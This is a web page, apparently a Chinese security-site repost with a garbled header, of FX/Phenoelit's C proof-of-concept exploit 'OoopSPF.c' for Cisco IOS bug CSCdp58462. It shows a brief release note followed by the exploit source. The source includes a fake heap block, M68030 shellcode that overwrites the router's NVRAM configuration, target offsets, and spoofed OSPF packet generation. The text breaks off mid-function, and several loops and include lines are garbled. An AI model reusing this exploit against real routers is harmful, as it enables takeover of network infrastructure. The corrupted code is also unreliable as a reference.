| Cisco IOS OSPF exploit |
| ×÷ÕߣºÎ´Öª ÎÄÕÂÀ´Ô´£º±¾Õ¾ÕûÀí µã»÷Êý£º ¸üÐÂʱ¼ä£º2007-1-8 9:57:48 |
¡¡¡¡Hi there, ¡¡¡¡attached you may find the exploit for the Cisco IOS bug ID CSCdp58462. The bug ¡¡¡¡is long fixed, so if you still run OSPF on a old version of IOS, now is a good ¡¡¡¡time to give your routers some attention. ¡¡¡¡ ¡¡¡¡FX ¡¡¡¡ ¡¡¡¡-- ¡¡¡¡FX ¡¡¡¡Phenoelit http://www.phenoelit.de) ¡¡¡¡672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564 ¡¡¡¡ ¡¡¡¡["OoopSPF.c" (text/plain)] ¡¡¡¡ ¡¡¡¡/* Cisco IOS IO memory exploit prove of concept ¡¡¡¡* by FX of Phenoelit ¡¡¡¡*http://www.phenoelit.de ¡¡¡¡* ¡¡¡¡* For: ¡¡¡¡* 19C3 Chaos Communication Congress 2002 / Berlin ¡¡¡¡* BlackHat Briefings Seattle 2003 ¡¡¡¡* ¡¡¡¡* Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow ¡¡¡¡* Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory ¡¡¡¡* structure (small buffer header). The attached program is a PoC to exploit ¡¡¡¡* this vulnerability by executing "shell code" on the router and write the ¡¡¡¡* attached configuration into NVRAM to basicaly own the router. ¡¡¡¡* ¡¡¡¡* Example: ¡¡¡¡* linux# gcc -o OoopSPF OoopSPF.c ¡¡¡¡* linux# ./OoopSPF -s 172.16.0.0 -n 255.255.0.0 -d 172.16.1.4 \ ¡¡¡¡* -f ./small.config -t 0 -a 1.2.3.4 -vv ¡¡¡¡* ¡¡¡¡* You can see if it worked if a) the router does not crash and b) the output of ¡¡¡¡* "show mem io" looks like this: ¡¡¡¡* E40E38 264 E40D04 E40F6C 1 31632D8 *Packet Data* ¡¡¡¡* E40F6C 264 E40E38 E410A0 1 31632D8 *Packet Data* ¡¡¡¡* E410A0 264 E40F6C E411D4 1 31632D8 *Packet Data* ¡¡¡¡* E411D4 1830400 E410A0 0 0 0 E411F8 808A8B8C [PHENOELIT] ¡¡¡¡* ¡¡¡¡* Exploit has to be "triggered". In LAB environment, go to the router and say ¡¡¡¡* box# conf t ¡¡¡¡* box(config)# buffers small perm 0 ¡¡¡¡* ¡¡¡¡* Greets go to the Phenoelit members, the usual suspects Halvar, Johnny Cyberpunk, ¡¡¡¡* Svoern, Scusi, Pandzilla, and Dizzy, to the #phenoelit people, ¡¡¡¡* Gaus of PSIRT, Nico of Securite.org and Dan Kaminsky. ¡¡¡¡* ¡¡¡¡* $Id: OoopSPF.c,v 1.4 2003/02/20 16:38:30 root Exp root $ ¡¡¡¡*/ ¡¡¡¡ ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡ ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡#include ¡¡¡¡ ¡¡¡¡#define IPTTL 0x80 ¡¡¡¡#define BLABLA "Phenoelit OoopSPF\n" \ ¡¡¡¡" Cisco IOS OSPF remote exploit (11.2.-12.0)\n" \ ¡¡¡¡" (C) 2002/2003 - FX of Phenoelit \n" ¡¡¡¡#define IPPROTO_OSPF 0x59 ¡¡¡¡#define IP_ADDR_LEN 4 ¡¡¡¡typedef struct { ¡¡¡¡u_int8_t ihl:4, /* header length */ ¡¡¡¡version:4; /* version */ ¡¡¡¡u_int8_t tos; /* type of service */ ¡¡¡¡u_int16_t tot_len; /* total length */ ¡¡¡¡u_int16_t id; /* identification */ ¡¡¡¡u_int16_t off; /* fragment offset field */ ¡¡¡¡u_int8_t ttl; /* time to live */ ¡¡¡¡u_int8_t protocol; /* protocol */ ¡¡¡¡u_int16_t check; /* checksum */ ¡¡¡¡struct in_addr saddr; ¡¡¡¡struct in_addr daddr; /* source and dest address */ ¡¡¡¡} iphdr_t; ¡¡¡¡ ¡¡¡¡typedef struct { ¡¡¡¡u_int8_t version __attribute__ ((packed)); ¡¡¡¡u_int8_t type __attribute__ ((packed)); ¡¡¡¡u_int16_t length __attribute__ ((packed)); ¡¡¡¡u_int8_t source[4] __attribute__ ((packed)); ¡¡¡¡u_int8_t area[4] __attribute__ ((packed)); ¡¡¡¡u_int16_t checksum __attribute__ ((packed)); ¡¡¡¡u_int16_t authtype __attribute__ ((packed)); ¡¡¡¡u_int8_t authdata[8] __attribute__ ((packed)); ¡¡¡¡} ospf_header_t; ¡¡¡¡ ¡¡¡¡typedef struct { ¡¡¡¡u_int8_t netmask[4] __attribute__ ((packed)); ¡¡¡¡u_int16_t hello_interval __attribute__ ((packed)); ¡¡¡¡u_int8_t options __attribute__ ((packed)); ¡¡¡¡u_int8_t priority __attribute__ ((packed)); ¡¡¡¡u_int8_t dead_interval[4] __attribute__ ((packed)); ¡¡¡¡u_int8_t designated[4] __attribute__ ((packed)); ¡¡¡¡u_int8_t backup[4] __attribute__ ((packed)); ¡¡¡¡} ospf_hello_t; ¡¡¡¡ ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// Target definitions ¡¡¡¡// ¡¡¡¡ ¡¡¡¡typedef struct { ¡¡¡¡char *description; ¡¡¡¡int n_neig; ¡¡¡¡int data_start; ¡¡¡¡u_int32_t blockbegin; ¡¡¡¡u_int32_t prev; ¡¡¡¡u_int32_t nop_sleet; ¡¡¡¡u_int32_t stack_address; ¡¡¡¡u_int32_t iomem_end; ¡¡¡¡} targets_t; ¡¡¡¡ ¡¡¡¡targets_t targets[] = { ¡¡¡¡{ // #0 Phenoelit labs 2503 ¡¡¡¡"2503, 11.3(11b) IP only [c2500-i-l.113-11b.bin], 14336K/2048K (working)", ¡¡¡¡256, // # of neighbor announcements ¡¡¡¡0xe5, // data start ¡¡¡¡0xE411D4, // block begin ¡¡¡¡0xE410B4, // PREV ¡¡¡¡6, // nop_sleet after FAKE BLOCK ¡¡¡¡0x079B48, // Check heaps stack PC ¡¡¡¡0x00FFFFFF // IO mem end ¡¡¡¡}, ¡¡¡¡{ // #1 Phenoelit labs 2501 ¡¡¡¡"2501, 11.3(11a) IP only [c2500-i-l.113-11a.bin], 14336K/2048K (working)", ¡¡¡¡256, // # of neighbor announcements ¡¡¡¡0xe5, // data start ¡¡¡¡0x00E31EA4, // block begin ¡¡¡¡0x00E31D84, // PREV ¡¡¡¡6, // nop_sleet after FAKE BLOCK ¡¡¡¡0x00079918, // Check heaps stack PC (using IOStack.pl) ¡¡¡¡0x00FFFFFF // IO mem end ¡¡¡¡} ¡¡¡¡}; ¡¡¡¡ ¡¡¡¡#define TARGETS (sizeof(targets)/sizeof(targets_t)-1) ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// NVRAM header structure ¡¡¡¡// ¡¡¡¡ ¡¡¡¡typedef struct { ¡¡¡¡u_int16_t magic __attribute__((packed)); ¡¡¡¡u_int16_t one __attribute__((packed)); ¡¡¡¡u_int16_t checksum __attribute__((packed)); ¡¡¡¡u_int16_t IOSver __attribute__((packed)); ¡¡¡¡u_int32_t unknown __attribute__((packed)); ¡¡¡¡u_int32_t ptr __attribute__((packed)); ¡¡¡¡u_int32_t size __attribute__((packed)); ¡¡¡¡} nvheader_t; ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// FAKE BLOCK definitions ¡¡¡¡// ¡¡¡¡ ¡¡¡¡typedef struct { ¡¡¡¡u_int32_t redzone __attribute__((packed)); ¡¡¡¡u_int32_t magic __attribute__((packed)); ¡¡¡¡u_int32_t pid __attribute__((packed)); ¡¡¡¡u_int32_t proc __attribute__((packed)); ¡¡¡¡u_int32_t name __attribute__((packed)); ¡¡¡¡u_int32_t pc __attribute__((packed)); ¡¡¡¡u_int32_t next __attribute__((packed)); ¡¡¡¡u_int32_t prev __attribute__((packed)); ¡¡¡¡u_int32_t size __attribute__((packed)); ¡¡¡¡u_int32_t refcnt __attribute__((packed)); ¡¡¡¡u_int32_t pad1 __attribute__((packed)); ¡¡¡¡u_int32_t freemagic __attribute__((packed)); ¡¡¡¡u_int32_t lastdealloc __attribute__((packed)); ¡¡¡¡u_int32_t pad2 __attribute__((packed)); ¡¡¡¡u_int32_t pad3 __attribute__((packed)); ¡¡¡¡u_int32_t free_next __attribute__((packed)); ¡¡¡¡u_int32_t free_prev __attribute__((packed)); ¡¡¡¡} block_t; ¡¡¡¡ ¡¡¡¡char fakeblock[] = ¡¡¡¡"\xFD\x01\x10\xDF" // RED ¡¡¡¡"\xAB\x12\x34\xCD" // MAGIC ¡¡¡¡"\xFF\xFF\xFF\xFF" // PID ¡¡¡¡"\x80\x81\x82\x83" // PROC ¡¡¡¡"\x00\xE4\x12\x00" // NAME (Message) ¡¡¡¡"\x80\x8a\x8b\x8c" // PC ¡¡¡¡"\x00\x00\x00\x00" // NEXT (no following block) ¡¡¡¡"\x00\xE4\x10\xB4" // PREV (correct for 0xE411d4) ¡¡¡¡"\x00\x0D\xF7\x02" // Size CORRECT for 0xE411D4 ¡¡¡¡"\x00\x00\x00\x00" // Reference count ¡¡¡¡"\x00\x00\x00\x00" // PADDING ¡¡¡¡"\xDE\xAD\xBE\xEF" // FREE MAGIC ¡¡¡¡"[PHE" // last delocator ¡¡¡¡"NOEL" // PADDING ¡¡¡¡"IT]\x00" // PADDING ¡¡¡¡"\x00\xE4\x12\x20" // FREE NEXT in our block ¡¡¡¡"\x00\x07\x9B\x48" // FREE PREV (Check heaps stack PC) ¡¡¡¡; ¡¡¡¡block_t *bpatch = (block_t*)fakeblock; ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// Cisco code for M68030 CPU and 2500 NVRAM layout ¡¡¡¡// ¡¡¡¡char ccode[] = ¡¡¡¡"\x46\xFC\x27\x00" //movew #9984,%sr (0x00E41220) ¡¡¡¡"\x43\xFA\x00\x48" //lea %pc@(4e ),%a1 (0x00E41224) ¡¡¡¡"\x24\x7C\x02\x00\x00\x06" //moveal #33554438,%a2 (0x00E41228) ¡¡¡¡"\xB3\x81" //eorl %d1,%d1 (0x00E4122E) ¡¡¡¡"\x74\x01" //moveq #1,%d2 (0x00E41230) ¡¡¡¡"\x22\x3C\x01\x01\x01\x01" //movel #16843009,%d1 (0x00E41232) ¡¡¡¡"\x14\xD9" //moveb %a1@+,%a2@+ (0x00E41238) ¡¡¡¡"\x32\x3C\xFF\xFF" //movew #-1,%d1 (0x00E4123A) ¡¡¡¡"\x93\x42" //subxw %d2,%d1 (0x00E4123E) ¡¡¡¡"\x6B\x00\xFF\xFC" //bmiw 1e (0x00E41240) ¡¡¡¡"\x0C\x91\xCA\xFE\xF0\x0D" //cmpil #-889262067,%a1@ (0x00E41244) ¡¡¡¡"\x66\x00\xFF\xEC" //bnew 18 (0x00E4124A) ¡¡¡¡"\x14\xFC\x00\x00" //moveb #0,%a2@+ (0x00E4124E) ¡¡¡¡"\x32\x3C\xFF\xFF" //movew #-1,%d1 (0x00E41252) ¡¡¡¡"\x93\x42" //subxw %d2,%d1 (0x00E41256) ¡¡¡¡"\x6B\x00\xFF\xFC" //bmiw 36 (0x00E41258) ¡¡¡¡"\xB5\xFC\x02\x00\x07\x00" //cmpal #33556224,%a2 (0x00E4125C) ¡¡¡¡"\x6D\x00\xFF\xEA" //bltw 2e (0x00E41262) ¡¡¡¡"\x22\x7C\x03\x00\x00\x60" //moveal #50331744,%a1 (0x00E41266) ¡¡¡¡"\x4E\xD1" //jmp %a1@ (0x00E4126C) ¡¡¡¡ ¡¡¡¡; ¡¡¡¡ ¡¡¡¡char terminator[] = "\xCA\xFE\xF0\x0D"; ¡¡¡¡char nop[] = "\x4E\x71"; ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// Global variables to pass the current buffer location to the ¡¡¡¡// OSPF packet generator function ¡¡¡¡// ¡¡¡¡int payloadc=0; ¡¡¡¡char *payload=NULL; ¡¡¡¡// packet counter (global) ¡¡¡¡unsigned int pc=0; ¡¡¡¡ ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// Configuration ¡¡¡¡// ¡¡¡¡struct { ¡¡¡¡int verbose; ¡¡¡¡char *device; ¡¡¡¡struct in_addr *target; ¡¡¡¡u_int32_t src_net; ¡¡¡¡u_int32_t src_mask; ¡¡¡¡u_int32_t area; ¡¡¡¡int directed; ¡¡¡¡int test_only; ¡¡¡¡ ¡¡¡¡// fake block constants ¡¡¡¡int n_neig; ¡¡¡¡int data_start; ¡¡¡¡u_int32_t blockbegin; ¡¡¡¡u_int32_t prev; ¡¡¡¡u_int32_t nop_sleet; ¡¡¡¡u_int32_t stack_address; ¡¡¡¡u_int32_t iomem_end; ¡¡¡¡ ¡¡¡¡// other stuff ¡¡¡¡char *filename; ¡¡¡¡int target_sel; ¡¡¡¡} cfg; ¡¡¡¡ ¡¡¡¡ ¡¡¡¡u_char *construct_ospf(struct in_addr *dd, struct in_addr *src, ¡¡¡¡u_int16_t autosys, int *psize); ¡¡¡¡int init_socket_IP4(int broadcast); ¡¡¡¡int sendpack_IP4(int sfd, u_char *packet,int plength); ¡¡¡¡u_int16_t chksum(u_char *data, unsigned long count); ¡¡¡¡void *smalloc(size_t size); ¡¡¡¡void hexdump(unsigned char *bp, unsigned int length); ¡¡¡¡void usage(char *s); ¡¡¡¡ ¡¡¡¡int main(int argc, char **argv) { ¡¡¡¡char option; ¡¡¡¡extern char *optarg; ¡¡¡¡int sfd; ¡¡¡¡ ¡¡¡¡unsigned int i=0; ¡¡¡¡u_int32_t countip=20; ¡¡¡¡ ¡¡¡¡/* confg file */ ¡¡¡¡int fd; ¡¡¡¡struct stat sb; ¡¡¡¡ ¡¡¡¡u_char *buffer; ¡¡¡¡u_char *p; ¡¡¡¡nvheader_t *nvh; ¡¡¡¡unsigned int len; ¡¡¡¡u_int16_t cs1; ¡¡¡¡ ¡¡¡¡// final overflow ¡¡¡¡char *overflow; ¡¡¡¡int osize=0; ¡¡¡¡ ¡¡¡¡ ¡¡¡¡printf(BLABLA); ¡¡¡¡ ¡¡¡¡memset(&cfg,0,sizeof(cfg)); ¡¡¡¡while ((option=getopt(argc,argv,"vDTd:s:n:L:F:f:t:S:a:"))!=EOF) { ¡¡¡¡switch (option) { ¡¡¡¡case 'v': cfg.verbose++; ¡¡¡¡break; ¡¡¡¡case 'D': cfg.directed++; ¡¡¡¡break; ¡¡¡¡case 'T': cfg.test_only++; ¡¡¡¡break; ¡¡¡¡case 'd': cfg.target=(struct in_addr *)smalloc(sizeof(struct in_addr)); ¡¡¡¡if (inet_aton(optarg,cfg.target)==0) { ¡¡¡¡fprintf(stderr,"Your destination is bullshit\n"); ¡¡¡¡return (1); ¡¡¡¡} ¡¡¡¡break; ¡¡¡¡case 's': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_net))==0) { ¡¡¡¡fprintf(stderr,"Your source net is wrong\n"); ¡¡¡¡return (1); ¡¡¡¡} ¡¡¡¡break; ¡¡¡¡case 'n': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_mask))==0) { ¡¡¡¡fprintf(stderr,"Your source mask is wrong\n"); ¡¡¡¡return (1); ¡¡¡¡} ¡¡¡¡break; ¡¡¡¡case 'L': cfg.n_neig=(unsigned int)strtoul(optarg,(char **)NULL,10); ¡¡¡¡break; ¡¡¡¡case 'F': cfg.data_start=(unsigned int)strtoul(optarg,(char **)NULL,16); ¡¡¡¡break; ¡¡¡¡case 'f': cfg.filename=(char *)smalloc(strlen(optarg)+1); ¡¡¡¡strcpy(cfg.filename,optarg); ¡¡¡¡break; ¡¡¡¡case 't': cfg.target_sel=(unsigned int)strtoul(optarg,(char **)NULL,10); ¡¡¡¡if (cfg.target_sel>TARGETS) { ¡¡¡¡fprintf(stderr,"Target number unknown\n"); ¡¡¡¡return (1); ¡¡¡¡} ¡¡¡¡break; ¡¡¡¡case 'S': cfg.nop_sleet=(unsigned int)strtoul(optarg,(char **)NULL,10); ¡¡¡¡break; ¡¡¡¡case 'a': if (inet_aton(optarg,(struct in_addr*)&(cfg.area))==0) { ¡¡¡¡fprintf(stderr,"Your area doesn't make sense.\n"); ¡¡¡¡return (1); ¡¡¡¡} ¡¡¡¡break; ¡¡¡¡default: usage(argv[0]); ¡¡¡¡} ¡¡¡¡} ¡¡¡¡ ¡¡¡¡if (cfg.target_sel>TARGETS) { ¡¡¡¡fprintf(stderr,"Error: user too stupid (check -t)\n"); ¡¡¡¡return (-1); ¡¡¡¡} ¡¡¡¡if (cfg.n_neig==0) cfg.n_neig=targets[cfg.target_sel].n_neig; ¡¡¡¡if (cfg.data_start==0) cfg.data_start=targets[cfg.target_sel].data_start; ¡¡¡¡if (cfg.blockbegin==0) cfg.blockbegin=targets[cfg.target_sel].blockbegin; ¡¡¡¡if (cfg.prev==0) cfg.prev=targets[cfg.target_sel].prev; ¡¡¡¡if (cfg.nop_sleet==0) cfg.nop_sleet=targets[cfg.target_sel].nop_sleet; ¡¡¡¡if (cfg.stack_address==0) \ ¡¡¡¡cfg.stack_address=targets[cfg.target_sel].stack_address; if (cfg.iomem_end==0) \ ¡¡¡¡cfg.iomem_end=targets[cfg.target_sel].iomem_end; ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// Check the parameters and set up a socket ¡¡¡¡// ¡¡¡¡cfg.src_net=cfg.src_net&cfg.src_mask; ¡¡¡¡ ¡¡¡¡if ( (cfg.src_net==0)||(cfg.src_mask==0) ¡¡¡¡||(cfg.filename==NULL)||(cfg.target==NULL)) { ¡¡¡¡usage(argv[0]); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡if ((sfd=init_socket_IP4(1))<1) { ¡¡¡¡fprintf(stderr,"Could not get a socket for you\n"); ¡¡¡¡return (-1); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// Get some info back to the user if he requested verbose ¡¡¡¡// ¡¡¡¡if (cfg.verbose) { ¡¡¡¡if (cfg.directed) ¡¡¡¡printf("\twith unicast target %s\n",inet_ntoa(*cfg.target)); ¡¡¡¡else ¡¡¡¡printf("\twith default destination addresses\n"); ¡¡¡¡printf("\twith source network %s/", ¡¡¡¡inet_ntoa(*(struct in_addr*)&(cfg.src_net))); ¡¡¡¡printf("%s\n",inet_ntoa(*(struct in_addr*)&(cfg.src_mask))); ¡¡¡¡printf("Using Target: %s\n",targets[cfg.target_sel].description); ¡¡¡¡printf( "\t# of neighbors: %u\n" ¡¡¡¡"\tdata start : %u\n" ¡¡¡¡"\tBlock address : 0x%08X\n" ¡¡¡¡"\tPREV pointer : 0x%08X\n" ¡¡¡¡"\tNOP sleet : %u\n" ¡¡¡¡"\tStack address : 0x%08X\n" ¡¡¡¡"\tIO Memory end : 0x%08X\n", ¡¡¡¡cfg.n_neig,cfg.data_start,cfg.blockbegin,cfg.prev, ¡¡¡¡cfg.nop_sleet,cfg.stack_address,cfg.iomem_end); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// Patch the fake block with the new values ¡¡¡¡// ¡¡¡¡bpatch->prev=htonl(cfg.prev); ¡¡¡¡bpatch->size=htonl( ¡¡¡¡(cfg.iomem_end ¡¡¡¡-39 // minus block header in bytes - 1 ¡¡¡¡-cfg.blockbegin) / 2); ¡¡¡¡bpatch->free_next=htonl(cfg.blockbegin+sizeof(fakeblock)-5/* RED ZONE */ ¡¡¡¡+((sizeof(nop)-1)*cfg.nop_sleet)); ¡¡¡¡bpatch->free_prev=htonl(cfg.stack_address); ¡¡¡¡bpatch->name=htonl(cfg.blockbegin+44); ¡¡¡¡ ¡¡¡¡/* ¡¡¡¡* Load Config ¡¡¡¡* - load into buffer ¡¡¡¡* - prepare NVRAM header ¡¡¡¡* - calculate checksum ¡¡¡¡* -> *buffer contains payload ¡¡¡¡*/ ¡¡¡¡if (cfg.filename==NULL) return (-1); ¡¡¡¡if (stat(cfg.filename,&sb)!=0) { ¡¡¡¡fprintf(stderr,"Could not stat() file %s\n",cfg.filename); ¡¡¡¡return (-1); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡if ((fd=open(cfg.filename,O_RDONLY))<0) { ¡¡¡¡fprintf(stderr,"Could not open() file %s\n",cfg.filename); ¡¡¡¡return (-1); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡len=sb.st_size; ¡¡¡¡if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) { ¡¡¡¡fprintf(stderr,"Malloc() failed\n"); ¡¡¡¡return (-1); ¡¡¡¡} ¡¡¡¡memset(buffer,0,len+sizeof(nvheader_t)+10); ¡¡¡¡ ¡¡¡¡p=buffer+sizeof(nvheader_t); ¡¡¡¡if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len)); ¡¡¡¡close(fd); ¡¡¡¡ ¡¡¡¡// pad config so it is word bound for the 0xcafef00d test ¡¡¡¡if ((len%2)!=0) { ¡¡¡¡strcat(p,"\x0A"); ¡¡¡¡len++; ¡¡¡¡if (cfg.verbose) printf("Padding config by one\n"); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡nvh=(nvheader_t *)buffer; ¡¡¡¡nvh->magic=htons(0xABCD); ¡¡¡¡nvh->one=htons(0x0001); // is always one ¡¡¡¡nvh->IOSver=htons(0x0B03); // IOS version ¡¡¡¡nvh->unknown=htonl(0x00000014); // something, 0x14 just works ¡¡¡¡nvh->ptr=htonl(0x000D199F); // config end ptr ¡¡¡¡nvh->size=htonl(len); ¡¡¡¡ ¡¡¡¡cs1=chksum(buffer,len+sizeof(nvheader_t)+2); ¡¡¡¡if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1)); ¡¡¡¡nvh->checksum=cs1; ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// Put the overflow together ¡¡¡¡// ¡¡¡¡// (1) calculate size of the whole thing ¡¡¡¡osize=sizeof(fakeblock)-1+ ¡¡¡¡(cfg.nop_sleet * (sizeof(nop)-1))+ ¡¡¡¡sizeof(ccode)-1+ ¡¡¡¡sizeof(nvheader_t)+ ¡¡¡¡len+ ¡¡¡¡sizeof(terminator)-1; ¡¡¡¡if ((osize/4)>cfg.data_start) { ¡¡¡¡fprintf(stderr,"ERROR: The whole thing is too large!\n"); ¡¡¡¡return (-1); ¡¡¡¡} else { ¡¡¡¡printf("Using %u out of %u bytes (overflow: %u bytes)\n", ¡¡¡¡osize,cfg.data_start*4,cfg.n_neig*4); ¡¡¡¡} ¡¡¡¡// ¡¡¡¡// adjust osize ot be 4byte bound ¡¡¡¡// ¡¡¡¡if ((osize%4!=0)) osize+=osize%4; ¡¡¡¡overflow=smalloc(osize); ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// (2) copy the fakeblock in the buffer ¡¡¡¡// ¡¡¡¡memcpy(overflow,fakeblock,sizeof(fakeblock)-1); ¡¡¡¡p=(void *)overflow+sizeof(fakeblock)-1; ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// (3) Add NOPs to the buffer ¡¡¡¡// ¡¡¡¡for (i=0;i¡¡¡¡memcpy(p,nop,sizeof(nop)-1); ¡¡¡¡p+=sizeof(nop)-1; ¡¡¡¡} ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// (4) Add the ccode ¡¡¡¡// ¡¡¡¡memcpy(p,ccode,sizeof(ccode)-1); ¡¡¡¡p+=sizeof(ccode)-1; ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// (5) Add the NVRAM structure and config ¡¡¡¡// ¡¡¡¡memcpy(p,buffer,len+sizeof(nvheader_t)); ¡¡¡¡p+=len+sizeof(nvheader_t); ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// (6) finish off with terminator ¡¡¡¡// ¡¡¡¡memcpy(p,terminator,sizeof(terminator)-1); ¡¡¡¡ ¡¡¡¡if (cfg.verbose>1) hexdump(overflow,osize); ¡¡¡¡if (cfg.test_only) return (0); ¡¡¡¡ ¡¡¡¡payload=overflow+(osize-4); ¡¡¡¡payloadc=osize; ¡¡¡¡ ¡¡¡¡// ************************* ¡¡¡¡// PERFORM THE OVERFLOW ¡¡¡¡// ************************* ¡¡¡¡for (i=0;i¡¡¡¡u_char *pack; ¡¡¡¡int plen; ¡¡¡¡u_int32_t uip; ¡¡¡¡ ¡¡¡¡OwnHostException: ¡¡¡¡countip++; ¡¡¡¡uip=htonl(countip); ¡¡¡¡uip=uip&(~cfg.src_mask); ¡¡¡¡uip=uip|cfg.src_net; ¡¡¡¡ ¡¡¡¡if (!memcmp(&uip,cfg.target,IP_ADDR_LEN)) { ¡¡¡¡if (cfg.verbose>2) ¡¡¡¡printf("-- Skipping %s\n",inet_ntoa(*(cfg.target))); ¡¡¡¡else { ¡¡¡¡printf("*"); fflush(stdout); ¡¡¡¡} ¡¡¡¡goto OwnHostException; ¡¡¡¡} ¡¡¡¡ ¡¡¡¡if (cfg.verbose>2) ¡¡¡¡printf("\tsending from %15s... ",inet_ntoa(*(struct in_addr*)&(uip))); ¡¡¡¡else { ¡¡¡¡printf("."); fflush(stdout); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡// Make and send OSPF ¡¡¡¡pack=construct_ospf(cfg.target, ¡¡¡¡(struct in_addr *)&uip,0,&plen); ¡¡¡¡sendpack_IP4(sfd,pack,plen); ¡¡¡¡free(pack); ¡¡¡¡ ¡¡¡¡if (cfg.verbose>2) printf("\n"); ¡¡¡¡usleep(1); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡close(sfd); ¡¡¡¡printf("\n"); ¡¡¡¡ ¡¡¡¡return 0; ¡¡¡¡} ¡¡¡¡ ¡¡¡¡u_char *construct_ospf(struct in_addr *dd, struct in_addr *src, ¡¡¡¡u_int16_t autosys, int *psize) { ¡¡¡¡u_char *tpacket; ¡¡¡¡iphdr_t *iph; ¡¡¡¡u_int16_t cs; /* checksum */ ¡¡¡¡char all_ospf[]="224.0.0.5"; ¡¡¡¡ospf_header_t *ospfh; ¡¡¡¡ospf_hello_t *ohelo; ¡¡¡¡ ¡¡¡¡*psize=sizeof(iphdr_t)+sizeof(ospf_header_t)+sizeof(ospf_hello_t); ¡¡¡¡tpacket=(u_char *)smalloc(*psize ¡¡¡¡+3 /* for my checksum function, which sometimes ¡¡¡¡steps over the mark */ ¡¡¡¡); ¡¡¡¡ ¡¡¡¡// IP packet ¡¡¡¡iph=(iphdr_t *)tpacket; ¡¡¡¡ ¡¡¡¡iph->version=4; ¡¡¡¡iph->ihl=sizeof(iphdr_t)/4; ¡¡¡¡ ¡¡¡¡iph->tot_len=htons(*psize); ¡¡¡¡iph->ttl=IPTTL; ¡¡¡¡iph->protocol=IPPROTO_OSPF; ¡¡¡¡ ¡¡¡¡memcpy(&(iph->saddr.s_addr),&(src->s_addr),IP_ADDR_LEN); ¡¡¡¡if (!cfg.directed) ¡¡¡¡inet_aton(all_ospf,(struct in_addr *)&(iph->daddr)); ¡¡¡¡else ¡¡¡¡memcpy(&(iph->daddr.s_addr),&(dd->s_addr),IP_ADDR_LEN); ¡¡¡¡ ¡¡¡¡// OSPF header ¡¡¡¡ospfh=(ospf_header_t *)((void *)tpacket+sizeof(iphdr_t)); ¡¡¡¡ohelo=(ospf_hello_t *)((void *)tpacket+sizeof(iphdr_t)+sizeof(ospf_header_t)); ¡¡¡¡ospfh->version=2; ¡¡¡¡ospfh->type=1; ¡¡¡¡ospfh->length=htons(sizeof(ospf_header_t)+sizeof(ospf_hello_t)); ¡¡¡¡memcpy(&(ospfh->area),&(cfg.area),4); ¡¡¡¡ ¡¡¡¡// Increment the packets sent ¡¡¡¡pc++; ¡¡¡¡ ¡¡¡¡// ¡¡¡¡// If we are in the range of the whole overflow thingy, copy the appropriate ¡¡¡¡// 4 bytes into the source address in the OSPF header ¡¡¡¡// ¡¡¡¡if ( (pc <= cfg.data_start) && ¡¡¡¡(pc > cfg.data_start-(payloadc/4) ) ) { ¡¡¡¡memcpy(&(ospfh->source),payload,IP_ADDR_LEN); ¡¡¡¡payload-=4; ¡¡¡¡} ¡¡¡¡// ¡¡¡¡// well, we are not in there, so we set it to some value ¡¡¡¡// ¡¡¡¡else { ¡¡¡¡ospfh->source[0]=0xCA; ¡¡¡¡ospfh->source[1]=0xFE; ¡¡¡¡ospfh->source[2]=0xBA; ¡¡¡¡ospfh->source[3]=0xBE; ¡¡¡¡} ¡¡¡¡ ¡¡¡¡// be verbose ¡¡¡¡if (cfg.verbose>2) printf(" [0x%08X] ",ntohl(*((unsigned \ ¡¡¡¡int*)&(ospfh->source)))); ¡¡¡¡ ¡¡¡¡// compile the rest of the packet ¡¡¡¡memcpy(&(ohelo->netmask),&(cfg.src_mask),4); ¡¡¡¡ohelo->hello_interval=htons(10); ¡¡¡¡ohelo->options=0x2; ¡¡¡¡ohelo->priority=2; ¡¡¡¡ohelo->dead_interval[3]=40; ¡¡¡¡memcpy(&(ohelo->designated),&(src->s_addr),IP_ADDR_LEN); ¡¡¡¡ ¡¡¡¡cs=chksum((u_char *)ospfh,sizeof(ospf_header_t)+sizeof(ospf_hello_t)); ¡¡¡¡ospfh->checksum=cs; ¡¡¡¡ ¡¡¡¡return tpacket; ¡¡¡¡} ¡¡¡¡ ¡¡¡¡// Dirty stuff from IRPAS ¡¡¡¡int init_socket_IP4(int broadcast) { ¡¡¡¡int sfd; ¡¡¡¡int t=1; ¡¡¡¡ ¡¡¡¡if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) { ¡¡¡¡perror("socket()"); ¡¡¡¡return(-1); ¡¡¡¡} ¡¡¡¡ ¡¡¡¡/* make a broadcast enabled socket if desired */ ¡¡¡¡if (broadcast) { ¡¡¡¡if (setsockopt( 